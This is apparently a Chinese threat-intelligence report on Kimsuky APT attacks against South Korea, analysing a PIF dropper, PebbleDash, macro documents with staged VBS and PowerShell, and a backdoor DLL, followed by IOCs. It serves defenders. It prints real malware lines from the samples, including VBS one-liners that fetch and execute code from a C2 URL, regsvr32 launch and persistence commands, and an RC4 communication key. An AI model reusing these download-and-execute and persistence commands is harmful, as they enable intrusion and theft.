返回 TI 主页

背景

Kimsuky,别名Mystery Baby、Baby Coin、Smoke Screen、Black Banshe等,奇安信内部跟踪编号为APT-Q-2。Kimsuky最早由卡巴斯基于2013年公开披露并命名,攻击活动最早可追溯至2012年,是疑似具有东亚国家背景的APT组织。该组织主要攻击目标为韩国,涉及国防、教育、能源、政府、医疗以及智囊团等领域,以机密信息窃取为主。通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。Kimsuky至今一直处于活跃状态,从2018年开始频繁开展了多起针对韩美两国特定领域人员的攻击活动[1]

近期,在美韩联合演习这一背景下,我们监测到大量来自Kimsuky组织的攻击,从攻击样本来看,使用pif、hwp、doc等文件做为诱饵进行初始攻击,后续载荷包括其常使用的AppleSeed、PebbleDash等木马。


概述

近日,奇安信红雨滴团队在日常高价值样本狩猎过程中,捕获到多例Kimsuky组织针对韩国地区的攻击样本。根据红雨滴研究人员跟踪分析,此次的攻击活动有如下特点:

  1. 使用PIF可执行文件格式伪装成PDF文件,后续载荷为PebbleDash木马;
  2. 部分样本诱饵被韩国DRM软件加密,疑似由Kimsuky组织在其他攻击活动中所窃取,用于实施定向攻击;
  3. 样本擅用加解密算法来躲避相关杀软的静态查杀;

与此同时,我们在安全社区上也及时做出了预警。


PIF诱饵

样本实际为PIF可执行程序,使用PDF图标进行伪装,其功能为Dropper程序,释放诱饵和加载后续载荷执行。其样本内的字符串均使用自定义的算法进行加密,执行时通过解密字符串从而获取API函数地址,其解密函数如下。

分析发现,该解密函数以及使用的Key与去年我们在《Kimsuky武器库更新:利用新冠疫情为诱饵针对韩国地区的攻击活动分析》[2]一文中披露的相同,使用类似base64的映射表来进行解密,其python版本的解密代码如下:

样本读取文件自身数据,异或解密后在C:\ProgramData\目录下写入诱饵文件和后续载荷。

随后获取函数ShellExecuteW地址,调用打开诱饵xlsx文档以迷惑受害者。

解密的xlsx文档包含文件头“SCDSA002”,该文件很有可能经韩国的DRM产品加密处理过,由此推测有可能是Kimsuky组织在其他攻击活动中窃取的文件,用来作为诱饵针对特定人群实施定向攻击。

随后解密出下一阶段Thumbs.db.pif的启动参数njXbxuRQyujZeUAGGYaH并启动执行。

值得一提的是,该攻击样本以及后续载荷中,均在样本中打印其调试信息。


PebbleDash

执行的Thumbs.db.pif载荷实际为PebbleDash木马,该木马是NukeSped变种木马之一,过去被认为是Lazarus组织所使用的恶意代码,但去年被发现与Kimsuky常用的AppleSeed木马一起用于攻击。美国CISA分析报告将其初代木马命名为PebbleDash[3],其相关信息如下:

- - - -
文件名 Thumbs.db.pif
MD5 f6628bd40f4cd6cc8405541c269ac901
文件大小 319488字节
启动参数 njXbxuRQyujZeUAGGYaH

样本启动后会校验参数个数,当未携带参数时直接退出程序,在单独执行该样本时,可有效躲避沙箱的动态行为检测。

当参数为njXbxuRQyujZeUAGGYaH时,拷贝副本至system32文件夹中,并命名为lsass.exe。

随后在注册表添加持久化,执行副本程序lsass.exe并传入参数iFfmHUtawXNNxTHEiAAN。

当启动参数为iFfmHUtawXNNxTHEiAAN时,首先隐藏错误显示框。然后判断参数个数,当大于等于3时,则会触发特定文件删除功能。写入大量空白数据,进行随机更名后删除文件。

随后样本使用0xB2作为密钥,异或解密出相关URL信息。

值得一提的是,样本使用GetLogicalDrives函数获取当前可用驱动器的数量,然后周期性地感知数量的变化。使用WTSEnumerateSessionsW函数监测目前被激活的会话数量,如果有更多的用户登录到感染系统,或者使用RDP进行原始访问,会监测到会话数量的增加,进而更改全局变量的值以执行命令。

样本使用HTTP协议与C2服务器通信,在请求C2时,使用特定字段来查询、发送和接收数据。

- -
字段 含义
sep 发送的数据类型
uid 磁盘序列号
sid 随机数据
data 获取到的数据

发送数据后,从C2接收指令执行,其指令功能如下:

- -
指令码 功能
3 修改当前目录
4 更改文件时间
5 结束特定进程
6 窃取执行的进程信息
7 删除文件
8 创建线程删除文件
9 创建进程
10 突破session 0隔离创建用户进程
11 使用regsvr32注册实例
12 执行下载的文件
13 上传文件
14 下载文件
15 以分钟为单位设定下一个CC通信时间
16 以Hex为单位设定下一个CC通信时间
17 删除开机注册表启动项
18 窃取系统相关信息
19 传送设定的数据
20 执行命令和获取结果
21 关闭错误提示重定向文件(宽字节)
22 关闭错误提示重定向文件
23 设定数据
24 提权后远线程注入

宏文档样本

携带恶意宏的文档样本基本信息如下:

- -
文件名 미국의 외교정책과 우리의 대응방향.doc(译为“美国外交政策和我们的回应”)
MD5 4de19e2c39b1d193e171dc8d804005a4
文件类型 Word文档
文件大小 54401字节
文件创建时间 2022-04-22 06:49:00 UTC

文档打开后展示内容如下,根据内容可以看出报告来自韩国政府智囊团,这份报告很可能是Kimsuky在之前攻击活动中窃取的文件。

一旦启用诱饵文档中的宏,样本将会向C2服务器请求后续载荷,收集受害者机器的相关信息并上传,攻击流程如下所示。


宏 & 第一阶段VBS

在文档的宏代码中,函数Unpck通过字符替换恢复所需的字符串。

将VBS脚本保存为templates目录下的version.ini文件,然后调用wscript执行。

写入version.ini文件的VBS代码如下。通过GET请求从目标URL拉取后续,并直接执行响应内容中包含的代码。

On Error Resume Next:Set mx = CreateObject\(Microsoft\.XMLHTTP\):mx\.open GET, http://uppgrede\.scienceontheweb\.net/file/upload/list\.php?query=1, False:mx\.Send:Execute\(mx\.responseText\)

第二阶段VBS

拉取的后续载荷依然是VBS代码。代码首先在templates目录下创建一个以”OfficeAppManifest_v[minute]_[hour]_[day+month].xml”格式命名的文件。

该文件的内容也是VBS代码,功能是从C2服务器拉取后续并执行,请求的URL与version.ini一样,但请求的参数有所不同,为”query=6”。

On Error Resume Next:With CreateObject\("InternetExplorer\.Application"\):\.Navigate "http://uppgrede\.scienceontheweb\.net/file/upload/list\.php?query=6":Do while \.busy:WScript\.Sleep 100:Loop:bt=\.Document\.Body\.InnerText:\.Quit:End With:Execute\(bt\)

文件内容写入后,调用代码中的Reg函数注册计划任务,从而执行上述被释放的VBS脚本。计划任务以”Microsoft”的名义创建,在5天后开始执行,执行间隔为60分钟。

接着修改注册表中浏览器设置,从hxxp://uppgrede.scienceontheweb.net/file/upload/lib.php?idx=1获取后续并执行。


第三阶段Powershell

从Lib.php下载回来的是Powershell脚本,脚本的模块名称为GetInfo,有一个参数”ur”,表示通信URL。

脚本收集受害者主机的各类信息,并将数据以POST请求的方式回传到ur参数指定URL的show.php页面。

值得注意的是,代码使用如下的硬编码User-Agent发起HTTP请求,其中用错误的拼写”Chremo””Edgo”表示”Chrome”和”Edge”。国外友商在近期的一篇报告中提到Kimsuky通过这种方式验证请求是否来自受害者机器[4]<\sup>。

Mozilla/5\.0 \(Windows NT 10\.x; Win64; x64\) AppleWebKit/537\.36 \(KHTML, like Gecko\) Chremo/87\.0\.4280\.141 Safari/537\.36 Edgo/87\.0\.664\.75

双扩展名VBS样本

根据216[.]189.154.6这个IP,我们发现了一个使用双扩展名进行伪装的VBS样本,基本信息如下:

- -
文件名 SW보안점검표(개발자 사전점검용)_v2.0_beta.xlsm .vbs(译为“SW 安全检查表(用于开发人员预检查)”)
MD5 12539ac37a81cc2e19338a67d237f833
文件类型 VBScript文件
文件大小 6254878字节

该样本在运行后会释放带加密保护的诱饵文档,同时在受害者毫无察觉的情况下加载一个轻量级后门,执行流程如下所示。


VBS & 加载器DLL

VBS代码首先base64解码诱饵文档数据,将其释放后打开,再经过解码并按字节异或0x8d解密得到DLL数据,保存为文件”wg5Du.iWJ446”,通过如下命令启动DLL,最后执行自删除操作清除VBS文件。

regsvr32 /s /i:13579ASDFG C:\\ProgramData\\wg5Du\.iWJ446

在VBS代码最后实际上还有另一段PE文件数据,不过这段PE数据在代码中并未被使用。按照同样的方法解密这部分数据,发现该PE其实是由被释放的DLL数据复制9次拼接而来。

释放的诱饵文档不能直接打开,并且头部带有”SCDSA002”字样,很可能经过韩国的DRM产品加密,也意味着这可能是之前被窃取的文档。

VBS脚本释放的DLL文件基本信息如下。

- -
文件名 wg5Du.iWJ446
MD5 a4d58f1bcce687d4ea60a3fe60120d5e
编译时间 2022-08-23 09:24:13 UTC
文件类型 PE DLL 64-bit
文件大小 457728字节

释放的DLL实际是个加载器,其入口点函数通过AES解密得到另一段DLL数据,然后直接内存加载并调用该DLL的入口点函数。

因为加载器DLL是通过regsvr32.exe启动的,所以它的导出函数DllRegisterServer也会被调用。该函数会调用被加载DLL偏移0xB2F0处的函数,而这个偏移值是被加载DLL的DllRegisterServer导出函数所在位置。


后门DLL

内存中加载的DLL为一个轻量级后门,导出函数DllRegisterServer执行持久化操作,入口点函数与C2服务器进行通信。

DllRegisterServer通过设置注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run键值实现持久化,值名称为”ESTUpdate”,对应的命令如下:

cmd\.exe /c start regsvr32\.exe /s <a id="_Hlk113386915"></a>c:\\\\programdata\\\\IconCache\.db

如果IconCache.db文件不存在,则调用GetModuleFileNameW获取后门DLL模块的文件路径,复制为C:\ProgramData\\IconCache.db。

后门DLL获取Windows API时,先计算函数名称的hash值,再通过该hash值在进程加载的DLL模块中查找API,避开了对GetProcAddress的调用。

后门DLL中使用的字符串一般通过异或解密恢复,异或的key为字符串第一字节或前两字节(ASCII字符串的key为1字节,宽字符串的key为2字节)。异或方式有两种:一种是直接异或key,另一种是异或key与序号之和。

入口点函数通过CreateThread调用sub_18000ACC0开启与C2服务器通信的线程。先恢复出通信的URL:hxxp://qwert.mine.bz/index.php,然后进入循环。

在循环中,线程首先向C2服务器发送一个POST请求作为上线通知,如果C2服务器有响应,且响应内容首字节为字符”1”,则继续进行后续操作,否则休眠3秒。

发送的上线通知POST请求如下。

接收到C2服务器的响应后,线程会创建一个CMD shell。

调用函数sub_18000AA70创建额外两个线程:一个线程向C2服务器请求指令并进行指令分发,另一个线程将CMD shell中的命令执行结果回传给C2服务器。

后门与C2服务器的通信数据经过RC4加密并使用base64编码,加解密的key为”asleri@#%dg9ser3$#$^@34sdfxl”。

整理后门指令如下。

- -
指令 功能
die 自删除。清除后门对应文件,退出进程
getinfo 收集信息。包括用户名、计算机名、操作系统详细信息、杀软信息
where 获取后门对应的文件路径
run 创建进程运行指定指令
exit 断开此次与C2服务器的连接
其他指令 由创建的CMD shell执行

样本关联

宏文档样本与ASEC在今年5月披露的Kimsuky样本攻击流程一致[5]

双扩展名VBS样本通过regsvr32加载后门DLL的方式也是Kimsuky在启动AppleSeed时常用的一种手段[6]

此外,我们在样本库中拓展线索时,也发现了额外的VBS脚本下载器。

Base64编码的powershell解码后如下:

以及hwp后缀的恶意文件,其释放的VBS脚本如下:


总结

Kimsuky组织是一个十分活跃的组织,长期针对韩国政府、新闻机构等目标发起攻击活动。其通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。此次捕获的攻击活动也可以看出该组织攻击手法灵活多变,武器库层出不穷,是攻击能力较强的APT团伙。

奇安信红雨滴团队在此提醒广大用户,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行夸张标题的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。

若需运行,安装来历不明的应用,可先通过奇安信威胁情报文件深度分析平台(https://sandbox.ti.qianxin.com/sandbox/page)进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。

目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、奇安信天狗漏洞攻击防护系统、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。


IOCs

MD5

77b7856144515bb3905df8b3fb210a2e

f6628bd40f4cd6cc8405541c269ac901

4de19e2c39b1d193e171dc8d804005a4

12539ac37a81cc2e19338a67d237f833

a4d58f1bcce687d4ea60a3fe60120d5e

19ef39e9936b7b46e88d55115dfa9679

6083a1af637d9dd2b2a16538a17e1f45

ca2917006eb29171c9e5f374e789f53a

C2

uppgrede[.]scienceontheweb.net

qwert[.]mine.bz

office.pushitlive[.]net

216[.]189.154.6

URL

hxxp://uppgrede.scienceontheweb.net/file/upload/list.php?query=

hxxp://uppgrede.scienceontheweb.net/file/upload/lib.php?idx=1

hxxp://uppgrede.scienceontheweb.net/file/upload/show.php

hxxp://qwert.mine.bz/index.php

hxxp://office.pushitlive.net/index.php

hxxp://yulsohnyonsei.atwewbpages.com/d.php

hxxp://yulsohnyonsei.atwebpages.com/1.hwp

hxxps://driver.googledocs.cloudns.nz/Yb/yb


参考链接

[1] https://ti.qianxin.com/apt/detail/5b45758d596a10001ffa2d3a?name=Kimsuky&type=map

[2] https://ti.qianxin.com/blog/articles/Kimsuky-Weapon-Update:-Analysis-of-Attack-Activity-Targeting-Korean-Region/

[3] https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-133c

[4] https://securelist.com/kimsukys-golddragon-cluster-and-its-c2-operations/107258/

[5] https://asec.ahnlab.com/en/34694/

[6] https://asec.ahnlab.com/ko/34883/

东亚地区 APT KIMSUKY